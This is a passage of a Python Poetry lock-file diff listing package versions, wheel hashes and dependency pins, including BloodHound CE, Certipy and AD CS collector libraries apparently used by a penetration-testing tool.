hash = "sha256:ae701de781999fa4eac2242bc8b4525c267ed17d8025291c57c6f1bf1a85b6c0"}, + {file = "bitstruct-8.22.1-cp314-cp314-win_amd64.whl", hash = "sha256:f5acccd329319e9c9f1e03a4b3fd6b91a6e58ab1810932b1c6dafa64891d569b"}, + {file = "bitstruct-8.22.1-cp314-cp314-win_arm64.whl", hash = "sha256:7bca7c212a703f396f2558c76a5f07adb7b48bed3a128510eec381bc3ab9c7f2"}, + {file = "bitstruct-8.22.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:c2e78952b2cc04d52f2acee6757198fee374f39e4f64d432382be54834d5044a"}, + {file = "bitstruct-8.22.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:9b092f12bad0e900cc2fea3c0884b8c280370c7c4e9adde3fef46ea4686fe8f4"}, + {file = "bitstruct-8.22.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:15e60bae7714d6312105fbc3e18185cf6638a4366f011f5d0306ac3a768e8406"}, + {file = "bitstruct-8.22.1-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5891d506486915120a073802bc8b391a1840327fc781bece88173fcef69300dd"}, + {file = "bitstruct-8.22.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:68a7ed240b2448be339121a7b155c6a237460da236b6ba0c898861e156f7cd4b"}, + {file = "bitstruct-8.22.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:21b94ba5210acada44d092170daf885777df2043c5c7b82a2b39e4a0b9a98349"}, + {file = "bitstruct-8.22.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:e7d38a321a00120109ce165a651afb3662e51d5a13134716548b6c0fc7b66987"}, + {file = "bitstruct-8.22.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:505d18acd7cb2408bcde4009babb07d671a9b07ae4f3221b32bb332565452c6f"}, + {file = "bitstruct-8.22.1-cp314-cp314t-win32.whl", hash = "sha256:4ca7d883594451d1a5066e4a17ed3858ab7f8e26e419085b9c283e2d4c45eb25"}, + {file = "bitstruct-8.22.1-cp314-cp314t-win_amd64.whl", hash = "sha256:a8227add6ff956e559d00442dc1ce23e31450d42eb5c15fa87e45b3a7f0fb79d"}, + {file = "bitstruct-8.22.1-cp314-cp314t-win_arm64.whl", hash = "sha256:ca5dbad59125547c14f29220ebe8d1cb46fcb3b50fbf16fb31f6ac190790b738"}, + {file = "bitstruct-8.22.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ec0cc01d3130f3776f87752df69ed2da1b261c2c63ce3a2f3463958d445dd7e2"}, + {file = "bitstruct-8.22.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:62548cd0f5a9782e985aff83294ed0c2df656060680c2c9b6271061e8f2e6a62"}, + {file = "bitstruct-8.22.1-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c8e0d396c8980e903ea7e0c6fd13b0a3185dd8376f3002f018cbdc9957d9b808"}, + {file = "bitstruct-8.22.1-cp39-cp39-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:f69de99df37b8594f87c019de5236e14961c4f997928384e4bcd5f6a1d5dc116"}, + {file = "bitstruct-8.22.1-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:599b04940cf18b079f9849ec992e6a1d22e9bafff1473830df2e618f492d68b3"}, + {file = "bitstruct-8.22.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:d45e46afea8f629f9ce55ae9183042f94e4e0fc98112828fc80bb3ea75b39b6d"}, + {file = "bitstruct-8.22.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:896789040a6f5c724fd6df5b7e6b9dfa6ef83327e87ff4bd410331b09a9e6221"}, + {file = "bitstruct-8.22.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:11049c556c3e6452798145214bccd9c7eb4f6843520e190528075d4293728553"}, + {file = "bitstruct-8.22.1-cp39-cp39-win32.whl", hash = "sha256:8482be49681568b0f5fa64b6953680cf6f3634c3f3316d7b4f513a52eca19338"}, + {file = "bitstruct-8.22.1-cp39-cp39-win_amd64.whl", hash = "sha256:ec187f5000104c9d7428556579618dd6182ec2ed8891bd547c0ac83d9f7e5154"}, + {file = "bitstruct-8.22.1-cp39-cp39-win_arm64.whl", hash = "sha256:df5284f0e52865d8a25db399331d047e570af5733881f99242b57ab793086b83"}, + {file = "bitstruct-8.22.1.tar.gz", hash = "sha256:97588318c906c60d33129e0061dd830b03d793c517033d312487c75426d1e808"}, +] + +[[package]] +name = "blinker" +version = "1.9.0" +description = "Fast, simple object-to-object and broadcast signaling" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc"}, + {file = "blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf"}, +] + +[[package]] +name = "bloodhound-ce" +version = "1.9.1" +description = "Python based ingestor for BloodHound Community Edition" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "bloodhound_ce-1.9.1-py3-none-any.whl", hash = "sha256:bb3bd6fb67b9337c738d4168b4f712b0d5544bb543c7405cc27977e61f67bab6"}, + {file = "bloodhound_ce-1.9.1.tar.gz", hash = "sha256:083df3dc3ad998edcff8fb63fdd8f5b464aab5fdac8e05cc9b3b6520210f79ab"}, +] + +[package.dependencies] +dnspython = "*" +impacket = ">=0.9.17" +ldap3 = ">2.5.0,!=2.5.2,!=2.6" +pyasn1 = ">=0.4" +pycryptodome = "*" + +[[package]] +name = "certifi" +version = "2026.7.22" +description = "Python package for providing Mozilla's CA Bundle." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "certifi-2026.7.22-py3-none-any.whl", hash = "sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775"}, + {file = "certifi-2026.7.22.tar.gz", hash = "sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55"}, +] + +[[package]] +name = "certihound" +version = "0.3.2" +description = "Linux-native AD CS collector library for BloodHound CE - enumerate ADCS and export to BloodHound format" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "certihound-0.3.2-py3-none-any.whl", hash = "sha256:c68b6f8efde09843685b616772445f0d68bff0865f54df5b12f576c1eebd1edd"}, + {file = "certihound-0.3.2.tar.gz", hash = "sha256:b92a08e1bcf98771aecbc4ed7c78ec934ce8f4b34bd8127965114c14f936529d"}, +] + +[package.dependencies] +click = ">=8.1.0" +cryptography = ">=41.0.0" +impacket = ">=0.11.0" +ldap3 = ">=2.9.1" +pydantic = ">=2.0" +rich = ">=13.0.0" + +[package.extras] +dev = ["black (>=23.0.0)", "mypy (>=1.0.0)", "pytest (>=7.0.0)", "pytest-cov (>=4.0.0)", "ruff (>=0.1.0)"] +kerberos = ["gssapi (>=1.8.0) ; sys_platform != \"win32\"", "winkerberos (>=0.9.1) ; sys_platform == \"win32\""] + +[[package]] +name = "certipy-nxc" +version = "5.1.0.post1" +description = "Certipy (ly4k/Certipy) packaged for NetExec, with relaxed Python and impacket pins" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "certipy_nxc-5.1.0.post1-py3-none-any.whl", hash = "sha256:27620fdd7a7a44f5ea7d537732a8022d20dd02f7fcd76e2d7fff84daab43ecb0"}, + {file = "certipy_nxc-5.1.0.post1.tar.gz", hash = "sha256:fb11ca11bcf2e1e7eb060e2c7a7ba78699baeafabb23598dd3770b61d07b75b8"}, +] + +[package.dependencies] +argcomplete = ">=3.6.2,<3.7.0" +asn1crypto = ">=1.5.1,<1.6.0" +beautifulsoup4 = ">=4.13.4,<4.14.0" +cryptography = ">=42.0.8,<42.1.0" +dnspython = ">=2.7.0,<2.8.0" +httpx = ">=0.28.1,<0.29.0" +impacket = ">=0.13.0" +ldap3 = ">=2.9.1,<2.10.0" +pyasn1 = ">=0.6.1,<0.7.0" +pycryptodome = ">=3.22.0,<3.23.0" +requests = ">=2.32.3,<2.33.0" + +[package.extras] +bloodhound = ["neo4j (>=5.28.1,<5.29.0)"] + +[[package]] +name = "cffi" +version = "2.1.1" +description = "Foreign Function Interface for Python calling C code." +optional = false +python-versions = ">=3.10" +groups = ["main"] +markers = "platform_python_implementation != \"PyPy\"" +files = [ + {file = "cffi-2.1.1-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:baed1e86cc735622097354b9d1281406caf42ff42a886d29faa8e8d1630333be"}, + {file = "cffi-2.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ca82be1a1d406ecfe1d25dc16cb33488e5a16bf4438c9fb590484ea29d92478b"}, + {file = "cffi-2.1.1-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:42e2f76b9455f5a9a844f770bf3e200ed3da0e15f5df3db9c31fe80b04b3d004"}, + {file = "cffi-2.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5a59cc1c4442bc3d5c703bf720b51138d0bfc173618807c9ee2490a7541dd3d9"}, + {file = "cffi-2.1.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:9f8d177621de5cb38ee3e731eda45d421db093ec0739f46a5594babda7987a98"}, + {file = "cffi-2.1.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:75f80557d1389eddbd0de2681f6a390a0c5338c31ddaa821381c203fc3fd50d9"}, + {file = "cffi-2.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:194cffa889098ced9976c3fc6340305e43f6303657d298da55366907c05c22d6"}, + {file = "cffi-2.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5bb4e7ea95dcd6a014a6fef62e62467d67d8e582326443f3d68e71d6320a9fcf"}, + {file = "cffi-2.1.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3d22a20b1fb1632cc72c22f95f7b0d2961c3e1c235f245ba4c606c4771035659"}, + {file = "cffi-2.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:1dea0e4d7d4f11f619fe8c1d76caf49e24405b4b5743c0e3be16a500ecd930c9"}, + {file = "cffi-2.1.1-cp310-cp310-win32.whl", hash = "sha256:7ce713ace7c0e4520535b42b77eaa742c16dab813978064913e5a3cf82973b41"}, + {file = "cffi-2.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:a48d62ab9d6f4f98c983223a547af44be6ca3691074c31cecced6facd3ba2dc1"}, + {file = "cffi-2.1.1-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12"}, + {file = "cffi-2.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1"}, + {file = "cffi-2.1.1-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0"}, + {file = "cffi-2.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3311ed60d36f83378794e1009ac6258bafbf81f7888b4caa7b35a521e3f95813"}, + {file = "cffi-2.1.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6e192623c49c94421616a5778fba35cf0d5a8d000650c1967ef4448ee5cdd990"}, + {file = "cffi-2.1.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a6e721d4b0e45d5b65e87534470e67b18dcd092c83f68fba09f152b9cbc061af"}, + {file = "cffi-2.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:34e261f78cb6ceaaa36f42f2613f4380d94d9c759a9c73c769ee6e0247364632"}, + {file = "cffi-2.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7225e4514edb64eb6740324353e0da0711954fd8d7da4576755b1c6e09b697cd"}, + {file = "cffi-2.1.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:df913725b79db7bcf03448f36b7bf8815363417d5b58deecf9305e3e30f0f21a"}, + {file = "cffi-2.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f5cfbc5fe74540d335175b656c725d74d90e3730c626d92575eea35029d9afaa"}, + {file = "cffi-2.1.1-cp311-cp311-win32.whl", hash = "sha256:f8ec5e643a9a937f64e1999eb9f75d072263751912dc5cd06d3c85f8f44be7c3"}, + {file = "cffi-2.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:42f6930c31dc7f50732c9ae793c2786c7b6b044195967bbdde40bb9be81c4cc0"}, + {file = "cffi-2.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:c7659f22557c5a0bc4855cd635f55edec690cc008a40768527762cb9fb263455"}, + {file = "cffi-2.1.1-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:c8c69575568085ba0b1b10c0249d779a214aea6f6522e949a0fc9fb0fcb449d0"}, + {file = "cffi-2.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f81b3b8f3d4e343550fa4baa0e479bba9f2d29ce9c2e9b51d1ce1718d7442fcf"}, + {file = "cffi-2.1.1-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:811bd1e21d32de12efca32393a0ab3f5133b54fce9bd44b8bd77ab07da14bf6a"}, + {file = "cffi-2.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:68e62fe11f30d5ca8289242866f0a5291402d8529ca2178ab8afc5c9694ae890"}, + {file = "cffi-2.1.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:4a7c934f7360e8cd64fe9efadcbd10c7c6364f531e432b9a4bf5ccbc9e0e8b50"}, + {file = "cffi-2.1.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:3143d81e29e1e20a9ce10901ec369012947876596f75a222235965f2b7ae832e"}, + {file = "cffi-2.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c1453022f490d2459a11819d83ad1d586e9ff65a12ac3e705ffebd46d3685dcf"}, + {file = "cffi-2.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:208f941bb9d18e768138677f0a6d2ce01f590df56043dda1df1535ac57c88517"}, + {file = "cffi-2.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:210019b6c7cf07f081b4c54635c8cf744377001350e29cc0f81c4377b4797735"}, + {file = "cffi-2.1.1-cp312-cp312-win32.whl", hash = "sha256:046bfc24911b37851ee1b51aab8bffe713d89c68c6a057b09484ce9fd5f69b4e"}, + {file = "cffi-2.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:f53e442b08449d42821fa4a4fba000095af9f62742a500f978a9f557ec44339a"}, + {file = "cffi-2.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:7bde5e4cc5c10140859842b9d383af292b22639a4dffb725314baf45968cef80"}, + {file = "cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:b5bdfd1c873d4e093aabc0ca84c4ca6dbc4f752afb5c86f146d9742580c9da2e"}, + {file = "cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:31348097ff5bbe827ccc41795d4dd099d9f0625e7def00ee653c137a490c2a6c"}, + {file = "cffi-2.1.1-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:9d2055050ea716bd38b7f7f1579c275386646b4894c155a3e2f3cd62ed41b7c6"}, + {file = "cffi-2.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:19ee6127ee34de7d83ce3d371ebc5ed91addbdcc39f9ab15ce4eb35a4e534971"}, + {file = "cffi-2.1.1-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:6a8dddef476fab96d066d578fc88526767b836ab5ab21754e1d5bf3879c31c7c"}, + {file = "cffi-2.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f16c709686a78c727bbbf059f92b0bf41c6fc60deec706d2dc19f529175a6125"}, + {file = "cffi-2.1.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:fcd22650c908d7b7da162bbfaab594a1227a15d1643a98c68b122ac642fa2264"}, + {file = "cffi-2.1.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:aa9511c62d14da7aacc9b4bf51f3f697a621e83b2d6919008243c3aad168eea3"}, + {file = "cffi-2.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a931079504ecc49efed7744c476a5c343a92fabf66dec2db95edb1b2fdc770e2"}, + {file = "cffi-2.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a2d7755bef5a12ed488f4ef1f1b69ee9191d7396083b755a5d2295f6edb4768b"}, + {file = "cffi-2.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e0bcb7e0f677f543555d2adff3bf19c05f66cdb4796e5ff602442ab2fe3c4ef7"}, + {file = "cffi-2.1.1-cp313-cp313-win32.whl", hash = "sha256:334644fbac4eff73d985a17a91226df55d0f394160c4cfb880e084c8f7161cac"}, + {file = "cffi-2.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:1aa5645c30469b09530c4ebca77ebf8f17618293c58f8549cb1a543a50236e7d"}, + {file = "cffi-2.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:63bbfd5ded17c4840ac07cd8f1c21ba9d9708141f840b324f422f41b207e3973"}, + {file = "cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:7dbb61fe3a7699468030f71bbe5f8a0e326a151daa91beb11a6fc1f980c55e1c"}, + {file = "cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:f24fb43132a4c6b4cb4eb029492919b2db645be6808d738f244fd146c03c32cb"}, + {file = "cffi-2.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:d28630f5854ab07ab1fd4aba756de52326c82e6be15d414b12793f1975048b54"}, + {file = "cffi-2.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72"}, + {file = "cffi-2.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1"}, + {file = "cffi-2.1.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:456a61fa52d579ebf9df2e9552ead5129855dbaff6c1e5a9b1bc408809bdc062"}, + {file = "cffi-2.1.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a4f00aa42f75d6e4595e8866e748cc1705adc0cddfeb2ca86d0d03993d63ba03"}, + {file = "cffi-2.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b0431303acaea1089ad4b3e9ce4e6518193def1118d4073ca848635ee4ea2e96"}, + {file = "cffi-2.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:64faea20f4e2613363a1a9b9c7dd73058f3ecd00133a511e72ad7c511658f527"}, + {file = "cffi-2.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5c58fe613dc5e5336357eff555824a314d8e43282600435c8d1cb6a7a2fedd13"}, + {file = "cffi-2.1.1-cp314-cp314-win32.whl", hash = "sha256:1a18a57b58cfb21fc28d72e876acf10eaed67a1ed96226f92af4df681d571c4c"}, + {file = "cffi-2.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:3222ba5d678f80a030e6afbcc33dc1ae5cb45facabb61cee2c7016b8432fde48"}, + {file = "cffi-2.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:ab36d55f9ed2d067327667c2fea18dda018eb628dd6347aa01dda6cf1f5d3836"}, + {file = "cffi-2.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:7750c6449dff7864bb9bb27ddfb0267756189201a3afc911d82b3caacd70dfc3"}, + {file = "cffi-2.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0beceaabe56af686895136a2de78db54ecd8e4046b236b8fd6d6cb61389e9bf2"}, + {file = "cffi-2.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:49cbc70e6542d4ccccb936558d1064a8012541e78f821f955cff24e357776c94"}, + {file = "cffi-2.1.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e2d65b31f36619cda3999b78b2aa9632e76b78448e7a56fc4240824200e7c4fc"}, + {file = "cffi-2.1.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:28907ab9bfb6aa13184cfc17c6b8e1023c5ab6fd7076d8c20a35e59fe04f8f29"}, + {file = "cffi-2.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:51b31d1c98274844cfd7838ce00bfc27c7423a4dc00fc0772fc3331c2cc90676"}, + {file = "cffi-2.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5e7cecbaadb83884793e05828cee59b210b24583b9c7425d0ba6a754fe22eb4e"}, + {file = "cffi-2.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:25792eac27877609e7bb06d42ff88278a6624fff2ba9bbb523c09616b117e80f"}, + {file = "cffi-2.1.1-cp314-cp314t-win32.whl", hash = "sha256:8ef53b2de9bcb9197d31854256575d59dbac0cba72ac627bb291ef5eceb74be4"}, + {file = "cffi-2.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:616f097f2fe415bc92a247f02e11f634e1f9e9a83d327e3c915c15089c87869e"}, + {file = "cffi-2.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:ad2c86c495b899d862ea0f4b42891b8713a3bd45dd4105c7fd51c2a72f39f3a5"}, + {file = "cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:dddad92b554513a31f272570678ba307fb9f618f05e3d4a5eacafff9eae03e1d"}, + {file = "cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:da0e573f9f97159390c89d9f1a9e41908b66d408cc5b58d08cf3847d844c531b"}, + {file = "cffi-2.1.1-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:fb92203a88b3d3053034db775110081c49d28be6551923805e039924093761e4"}, + {file = "cffi-2.1.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:2ae64be792b8966f2c69538199728b290e34726562896df1e5dc8ffd8d8188e8"}, + {file = "cffi-2.1.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:507a24c282e0f42f8ed737cf048572cbf580468da5555764a8331735e9c736b6"}, + {file = "cffi-2.1.1-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:246fa40ce8645a614ff682e0b70f37134e460eaf93a775e0cbe3cca585a67a80"}, + {file = "cffi-2.1.1-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:471cee653ae88de62096552e6d24ccb4a5adb8c8c9f10b5054d0122c15bf2779"}, + {file = "cffi-2.1.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aeae0e330c9f6acd681f647d46cefd30c29f93e3392882e792e82080c9691399"}, + {file = "cffi-2.1.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:42a494cee34437f05546455144f2b5d9ac09b1face62bcfce597d2e521066688"}, + {file = "cffi-2.1.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:cc572dace3f60ef98d7b12ff411d20f5362feb31a0439eab0085bbfd349982d7"}, + {file = "cffi-2.1.1-cp315-cp315-win32.whl", hash = "sha256:4f42141fc14250de6dde5ee7ea4432be017252d91f19c5ad043c084cea629cac"}, + {file = "cffi-2.1.1-cp315-cp315-win_amd64.whl", hash = "sha256:e6e8cff14d6fb0be70a09c0bdc58096f501952d04624ebf867e0e56da2df8960"}, + {file = "cffi-2.1.1-cp315-cp315-win_arm64.whl", hash = "sha256:27350daa11d4f10c540e6e89dada4c54feb7256ad03e9a4dc075ebad7ba360d1"}, + {file = "cffi-2.1.1-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:c26608d2222fb1e94487e4a387d85f13eb55d5ed725cb25a0c589ac4ee60e7bc"}, + {file = "cffi-2.1.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:4be96343e422f2dfcd12ab5c9f5aebe03f82f737c6bffeca6830b3875cb44aab"}, + {file = "cffi-2.1.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:937c0052c05a31ca1daf18de3158eed4dbfcb9cc107adbea227728d647be701e"}, + {file = "cffi-2.1.1-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:df423d40ee8654634421812bc3b196da3f9bd7d32929da813f8394c4348a5358"}, + {file = "cffi-2.1.1-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a730a083190634c65cca36ba5f489531576ebd79bcd5c8e172130f6453127231"}, + {file = "cffi-2.1.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:363e05fa78e15116c3c32c210ee36884fd6b9afa6d440e47112c3bd511d64cb6"}, + {file = "cffi-2.1.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:770de9db11e84213beec501cfcaa013b019820ca881e03344dea5844f7876d94"}, + {file = "cffi-2.1.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:7da0c5eff80f0197f3b3d1232ec5a682a9325f4ae9016a78f5f5ca35f9ced1f5"}, + {file = "cffi-2.1.1-cp315-cp315t-win32.whl", hash = "sha256:06c72bb76605a4b0cd0aad6930b69d4baf7dd5d806cfc409b824191099700e66"}, + {file = "cffi-2.1.1-cp315-cp315t-win_amd64.whl", hash = "sha256:d9c275eaacd24aa73f94ffd6de08fc3f932424d8b6c376f4bed7cde376fe7bc3"}, + {file = "cffi-2.1.1-cp315-cp315t-win_arm64.whl", hash = "sha256:d18e5ac0f2f03f4f518d3e23db0f0cad7faa1da8620e9c09461d443bbf6e6692"}, + {file = "cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be"}, +] + +[package.dependencies] +pycparser = {version = "*", markers = "implementation_name != \"PyPy\""} + +[[package]] +name = "charset-normalizer" +version = "3.4.9" +description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "charset_normalizer-3.4.9-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cd6280cf040f233bd7d3407b743b4b4c74f70e8e1c4199cb112a62c941c0772a"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa99adc8f081b475a12843953db36831eaf83ec33eb46a90629ca6a5de45a616"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c1225416b463483160e4af85d5fc3a9690ccb53fd4b1865a6437825f5ede3209"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:16d10d789dd9bcca1173c95af82c58433122564b7bc39385124be735a35cbe99"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9bb41182d93ea91f60b4bc8fbf4c820c69ef8a12ab2d917f3f1834f1acad07e8"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:bcf74c1df76758a395bf0af608c04c82257523f55c9868b334f06270d0f2112b"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b5314963fce9b0b12743891de876e724997864ee22aa496f903f426c7e2fa5b2"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = 